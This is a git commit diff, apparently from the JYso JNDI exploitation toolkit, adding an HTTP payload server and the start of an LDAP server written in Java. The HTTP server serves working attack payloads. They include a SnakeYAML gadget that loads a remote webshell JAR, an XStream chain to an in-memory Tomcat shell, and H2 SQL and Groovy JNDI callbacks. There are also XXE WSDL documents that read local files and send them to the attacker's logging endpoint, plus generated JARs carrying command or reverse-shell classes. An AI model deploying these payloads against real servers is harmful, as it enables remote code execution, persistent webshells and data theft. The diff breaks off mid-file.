mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 15:21:52 +08:00
gradle++1
This commit is contained in:
@@ -0,0 +1,604 @@
|
||||
package com.qi4l.jndi;
|
||||
|
||||
import cn.hutool.core.io.file.FileReader;
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.utils.Cache;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.qi4l.jndi.template.CommandTemplate;
|
||||
import com.qi4l.jndi.template.DnslogTemplate;
|
||||
import com.qi4l.jndi.template.ReverseShellTemplate;
|
||||
import com.sun.net.httpserver.HttpExchange;
|
||||
import com.sun.net.httpserver.HttpHandler;
|
||||
import com.sun.net.httpserver.HttpServer;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.commons.lang3.reflect.FieldUtils;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.zip.ZipEntry;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
public class HTTPServer {
|
||||
//获取根目录路径
|
||||
public static String cwd = System.getProperty("user.dir");
|
||||
|
||||
public static void start() throws IOException {
|
||||
|
||||
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
|
||||
httpServer.createContext("/", new HttpHandler() {
|
||||
@Override
|
||||
public void handle(HttpExchange httpExchange) {
|
||||
try {
|
||||
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
|
||||
|
||||
String qi = String.valueOf(httpExchange.getRequestURI());
|
||||
if (qi.contains("setPathAlias")) {
|
||||
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
|
||||
} else if (qi.contains("setRoute")) {
|
||||
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
|
||||
}
|
||||
String path = httpExchange.getRequestURI().getPath();
|
||||
if (path.endsWith(".class")) {
|
||||
handleClassRequest(httpExchange);
|
||||
} else if (path.endsWith(".wsdl")) {
|
||||
handleWSDLRequest(httpExchange);
|
||||
} else if (path.endsWith(".jar")) {
|
||||
handleJarRequest(httpExchange);
|
||||
} else if (path.startsWith("/xxelog")) {
|
||||
handleXXELogRequest(httpExchange);
|
||||
} else if (path.endsWith(".sql")) {
|
||||
handleSQLRequest(httpExchange);
|
||||
} else if (path.endsWith(".groovy")) {
|
||||
handlerGroovyRequest(httpExchange);
|
||||
} else if (path.endsWith(".xml")) {
|
||||
handleXMLRequest(httpExchange);
|
||||
} else if (path.endsWith(".txt")) {
|
||||
handleTXTRequest(httpExchange);
|
||||
} else if (path.endsWith(".yml")) {
|
||||
handleYmlRequest(httpExchange);
|
||||
} else {
|
||||
handleFileRequest(httpExchange);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
httpServer.setExecutor(null);
|
||||
httpServer.start();
|
||||
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
|
||||
}
|
||||
|
||||
private static void handleFileRequest(HttpExchange exchange) throws Exception {
|
||||
System.out.println("[-] 请求的后缀不对");
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
|
||||
File file = new File(filename);
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
FileInputStream fileInputStream = new FileInputStream(file);
|
||||
fileInputStream.read(bytes);
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
}
|
||||
|
||||
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
// String host = exchange.getRequestURI().getHost();
|
||||
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
String bytes = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
|
||||
" ]]\n" +
|
||||
"]\n";
|
||||
|
||||
if (YamlName.equalsIgnoreCase("snake")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + YamlName + ".yml");
|
||||
if (file.exists()) {
|
||||
byte[] bytes1 = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes1);
|
||||
}
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes1);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
if (txtname.equalsIgnoreCase("isok")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
byte[] bytes = "success!".getBytes();
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + txtname + ".txt");
|
||||
|
||||
if (file.exists()) {
|
||||
|
||||
byte[] bytes1 = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes1);
|
||||
}
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes1);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
// String host = exchange.getRequestURI().getHost();
|
||||
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
|
||||
String xstream = "<linked-hash-set>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString>\n" +
|
||||
" <flags>0</flags>\n" +
|
||||
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
|
||||
" <dataHandler>\n" +
|
||||
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
|
||||
" <is class=\"javax.crypto.CipherInputStream\">\n" +
|
||||
" <cipher class=\"javax.crypto.NullCipher\">\n" +
|
||||
" <initialized>false</initialized>\n" +
|
||||
" <opmode>0</opmode>\n" +
|
||||
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
|
||||
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
|
||||
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
|
||||
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
|
||||
" <javax.sql.rowset.BaseRowSet>\n" +
|
||||
" <default>\n" +
|
||||
" <concurrency>1008</concurrency>\n" +
|
||||
" <escapeProcessing>true</escapeProcessing>\n" +
|
||||
" <fetchDir>1000</fetchDir>\n" +
|
||||
" <fetchSize>0</fetchSize>\n" +
|
||||
" <isolation>2</isolation>\n" +
|
||||
" <maxFieldSize>0</maxFieldSize>\n" +
|
||||
" <maxRows>0</maxRows>\n" +
|
||||
" <queryTimeout>0</queryTimeout>\n" +
|
||||
" <readOnly>true</readOnly>\n" +
|
||||
" <rowSetType>1004</rowSetType>\n" +
|
||||
" <showDeleted>false</showDeleted>\n" +
|
||||
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
|
||||
" <listeners/>\n" +
|
||||
" <params/>\n" +
|
||||
" </default>\n" +
|
||||
" </javax.sql.rowset.BaseRowSet>\n" +
|
||||
" <com.sun.rowset.JdbcRowSetImpl>\n" +
|
||||
" <default>\n" +
|
||||
" <iMatchColumns>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" </iMatchColumns>\n" +
|
||||
" <strMatchColumns>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" </strMatchColumns>\n" +
|
||||
" </default>\n" +
|
||||
" </com.sun.rowset.JdbcRowSetImpl>\n" +
|
||||
" </next>\n" +
|
||||
" </iter>\n" +
|
||||
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
|
||||
" <method>\n" +
|
||||
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
|
||||
" <name>getDatabaseMetaData</name>\n" +
|
||||
" <parameter-types/>\n" +
|
||||
" </method>\n" +
|
||||
" <name>foo</name>\n" +
|
||||
" </filter>\n" +
|
||||
" <next class=\"string\">foo</next>\n" +
|
||||
" </serviceIterator>\n" +
|
||||
" <lock/>\n" +
|
||||
" </cipher>\n" +
|
||||
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
|
||||
" <ibuffer></ibuffer>\n" +
|
||||
" <done>false</done>\n" +
|
||||
" <ostart>0</ostart>\n" +
|
||||
" <ofinish>0</ofinish>\n" +
|
||||
" <closed>false</closed>\n" +
|
||||
" </is>\n" +
|
||||
" <consumed>false</consumed>\n" +
|
||||
" </dataSource>\n" +
|
||||
" <transferFlavors/>\n" +
|
||||
" </dataHandler>\n" +
|
||||
" <dataLen>0</dataLen>\n" +
|
||||
" </value>\n" +
|
||||
" </jdk.nashorn.internal.objects.NativeString>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||
" <entry>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||
" </entry>\n" +
|
||||
"</linked-hash-set>";
|
||||
|
||||
if (xmlName.equals("a")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
} else if (xmlName.equals("x")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
|
||||
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + xmlName + ".xml");
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes1 = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes1);
|
||||
}
|
||||
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes1);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
}
|
||||
|
||||
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String host = exchange.getRequestURI().getHost();
|
||||
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
|
||||
if (sqlName.equalsIgnoreCase("echo")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
String name = String.valueOf(System.nanoTime());
|
||||
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
|
||||
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
|
||||
"CALL " + name + "();\"}";
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
} else if (sqlName.equalsIgnoreCase("inject")) {
|
||||
System.out.println("@|green Response Code: |@" + 200);
|
||||
|
||||
String name = String.valueOf(System.nanoTime());
|
||||
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
|
||||
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
|
||||
"CALL " + name + "();\"}";
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
} else {
|
||||
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + sqlName + ".sql");
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes);
|
||||
}
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String host = exchange.getRequestURI().getHost();
|
||||
String exp = "/TomcatBypass/TomcatEcho";
|
||||
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
|
||||
if (groovyName.equalsIgnoreCase("groovyecho")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
String bytes = "class demo {\n" +
|
||||
" static void main(){\n" +
|
||||
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
|
||||
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
|
||||
" o.setAutoCommit(true);\n" +
|
||||
" }\n" +
|
||||
"}\n";
|
||||
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + groovyName + ".groovy");
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes);
|
||||
}
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
}
|
||||
|
||||
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
|
||||
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
|
||||
Object request = FieldUtils.readField(exchangeImpl, "req", true);
|
||||
String startLine = (String) FieldUtils.readField(request, "startLine", true);
|
||||
|
||||
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
|
||||
exchange.sendResponseHeaders(200, 0);
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
private static void handleJarRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
|
||||
if (jarName.equalsIgnoreCase("behinder3")) {
|
||||
byte[] bytes;
|
||||
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
|
||||
FileReader fileReader = new FileReader(filename, "UTF-8");
|
||||
bytes = fileReader.readBytes();
|
||||
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
|
||||
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
|
||||
File file = new File(filename);
|
||||
if (file.exists()) {
|
||||
byte[] bytes;
|
||||
FileReader fileReader = new FileReader(filename, "UTF-8");
|
||||
bytes = fileReader.readBytes();
|
||||
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
|
||||
}
|
||||
|
||||
private static void handleClassRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
|
||||
|
||||
if (Cache.contains(className)) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
byte[] bytes = Cache.get(className);
|
||||
exchange.sendResponseHeaders(200, bytes.length);
|
||||
//这一步返回http请求
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {//找不到就从/org目录下照
|
||||
//String pa = cwd + File.separator + "org";
|
||||
String pa = cwd + path;
|
||||
File file = new File(pa);
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes);
|
||||
}
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200));
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
|
||||
String query = exchange.getRequestURI().getQuery();
|
||||
Map<String, String> params = parseQuery(query);
|
||||
|
||||
String path = exchange.getRequestURI().getPath().substring(1);
|
||||
|
||||
if (path.startsWith("list")) {
|
||||
//intended to list directories or read files on server
|
||||
String file = params.get("file");
|
||||
if (file != null && !file.isEmpty()) {
|
||||
String listWsdl = "" +
|
||||
"<!DOCTYPE x [\n" +
|
||||
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
|
||||
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
|
||||
" %bbb;\n" +
|
||||
"]>\n" +
|
||||
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
|
||||
" &ddd;\n" +
|
||||
"</definitions>";
|
||||
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
|
||||
exchange.getResponseBody().write(listWsdl.getBytes());
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
} else if (path.startsWith("upload")) {
|
||||
String type = params.get("type");
|
||||
|
||||
String[] args = null;
|
||||
if (type.equalsIgnoreCase("command")) {
|
||||
args = new String[]{params.get("cmd")};
|
||||
} else if (type.equalsIgnoreCase("dnslog")) {
|
||||
args = new String[]{params.get("url")};
|
||||
} else if (type.equalsIgnoreCase("reverseshell")) {
|
||||
args = new String[]{params.get("ip"), params.get("port")};
|
||||
}
|
||||
|
||||
String jarName = createJar(type, args);
|
||||
if (jarName != null) {
|
||||
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
|
||||
"/" + jarName + ".jar!/file.txt\"><a></a>";
|
||||
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
|
||||
exchange.getResponseBody().write(uploadWsdl.getBytes());
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
exchange.close();
|
||||
} else if (path.startsWith("http")) {
|
||||
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" +
|
||||
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>'>'>%ccc;";
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
|
||||
exchange.getResponseBody().write(xxhttp.getBytes());
|
||||
exchange.close();
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
exchange.close();
|
||||
}
|
||||
}
|
||||
|
||||
private static Map<String, String> parseQuery(String query) {
|
||||
Map<String, String> params = new HashMap<>();
|
||||
|
||||
try {
|
||||
for (String str : query.split("&")) {
|
||||
try {
|
||||
String[] parts = str.split("=", 2);
|
||||
params.put(parts[0], parts[1]);
|
||||
} catch (Exception e) {
|
||||
//continue
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
//continue
|
||||
}
|
||||
|
||||
return params;
|
||||
}
|
||||
|
||||
/*
|
||||
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
|
||||
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
|
||||
目前暂时认为其不会有问题,如果有问题,后面再修改
|
||||
*/
|
||||
private static String createJar(String type, String... params) throws Exception {
|
||||
byte[] bytes;
|
||||
String className = "xExportObject";
|
||||
|
||||
switch (type.toLowerCase()) {
|
||||
case "command":
|
||||
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
|
||||
bytes = commandTemplate.getBytes();
|
||||
break;
|
||||
case "dnslog":
|
||||
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
|
||||
bytes = dnslogTemplate.getBytes();
|
||||
break;
|
||||
case "reverseshell":
|
||||
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
|
||||
bytes = reverseShellTemplate.getBytes();
|
||||
break;
|
||||
case "webspherememshell":
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
|
||||
exploitClass.setName(className);
|
||||
exploitClass.detach();
|
||||
bytes = exploitClass.toBytecode();
|
||||
break;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
|
||||
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
|
||||
ByteArrayOutputStream bout = new ByteArrayOutputStream();
|
||||
JarOutputStream jarOut = new JarOutputStream(bout);
|
||||
jarOut.putNextEntry(new ZipEntry(className + ".class"));
|
||||
jarOut.write(bytes);
|
||||
jarOut.closeEntry();
|
||||
jarOut.close();
|
||||
bout.close();
|
||||
|
||||
String jarName = Util.getRandomString();
|
||||
Cache.set(jarName, bout.toByteArray());
|
||||
|
||||
return jarName;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package com.qi4l.jndi;
|
||||
|
||||
import com.qi4l.jndi.controllers.LdapController;
|
||||
import com.qi4l.jndi.controllers.LdapMapping;
|
||||
import com.qi4l.jndi.controllers.utils.AESUtils;
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import javax.net.ServerSocketFactory;
|
||||
import javax.net.SocketFactory;
|
||||
import javax.net.ssl.SSLSocketFactory;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.InetAddress;
|
||||
import java.util.Set;
|
||||
import java.util.TreeMap;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.Config.Config.*;
|
||||
import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
public class LdapServer extends InMemoryOperationInterceptor {
|
||||
|
||||
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
||||
|
||||
public LdapServer() throws Exception {
|
||||
|
||||
//find all classes annotated with @LdapMapping
|
||||
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
||||
.getTypesAnnotatedWith(LdapMapping.class);
|
||||
|
||||
//instantiate them and store in the routes map
|
||||
for (Class<?> controller : controllers) {
|
||||
Constructor<?> cons = controller.getConstructor();
|
||||
LdapController instance = (LdapController) cons.newInstance();
|
||||
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
||||
for (String mapping : mappings) {
|
||||
if (mapping.startsWith("/")) {
|
||||
mapping = mapping.substring(1); //remove first forward slash
|
||||
routes.put(mapping, instance);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
try {
|
||||
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
||||
"listen",
|
||||
InetAddress.getByName("0.0.0.0"),
|
||||
Config.ldapPort,
|
||||
ServerSocketFactory.getDefault(),
|
||||
SocketFactory.getDefault(),
|
||||
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||
if (!USER.equals("") || !PASSWD.equals("")) {
|
||||
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
||||
}
|
||||
|
||||
//添加操作拦截器
|
||||
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
||||
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
||||
ds.startListening();
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
|
||||
} catch (Exception e) {
|
||||
